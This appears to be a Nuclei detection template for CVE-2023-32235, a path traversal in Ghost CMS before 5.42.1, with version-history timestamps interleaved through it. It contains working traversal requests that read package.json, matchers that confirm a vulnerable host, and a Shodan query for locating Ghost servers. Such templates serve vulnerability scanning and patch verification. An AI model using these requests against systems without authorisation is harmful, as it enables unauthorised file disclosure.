2023-05-08 06:27:57 +00:00
id : CVE-2023-32235
info :
name : Path Traversal in Ghost CMS < 5.42.1
author : j3ssie
severity : medium
description : |
Ghost before 5.42.1 allows remote attackers to read arbitrary files within the active theme's folder via /assets/built%2F..%2F..%2F/ directory traversal. This occurs in frontend/web/middleware/static-theme.js.
remediation : Fixed in version 5.42.1
reference :
- https://github.com/advisories/GHSA-wf7x-fh6w-34r6
- https://nvd.nist.gov/vuln/detail/CVE-2023-32235
classification :
cve-id : CVE-2023-32235
metadata :
max-request : 2
2023-05-08 07:28:19 +00:00
verified : 'true'
shodan-query : 'http.component:"Ghost"'
2023-05-08 06:27:57 +00:00
tags : cve,cve2023,lfi,ghostcms
http :
- method : GET
path :
- "{{BaseURL}}/assets/built%2F..%2F..%2F/package.json"
- "{{BaseURL}}/assets/built%2F..%2F..%2F%E0%A4%A/package.json"
2023-05-08 07:28:19 +00:00
stop-at-first-match : true
2023-05-08 06:27:57 +00:00
matchers-condition : and
matchers :
- type : word
2023-05-08 07:28:19 +00:00
part : body
2023-05-08 06:27:57 +00:00
words :
2023-05-08 07:28:19 +00:00
- '"name"'
- '"version"'
- '"ghost"'
2023-05-08 06:27:57 +00:00
condition : and
- type : word
2023-05-08 07:28:19 +00:00
part : header
2023-05-08 06:27:57 +00:00
words :
- "application/json"
- type : status
status :
2023-05-08 07:28:19 +00:00
- 200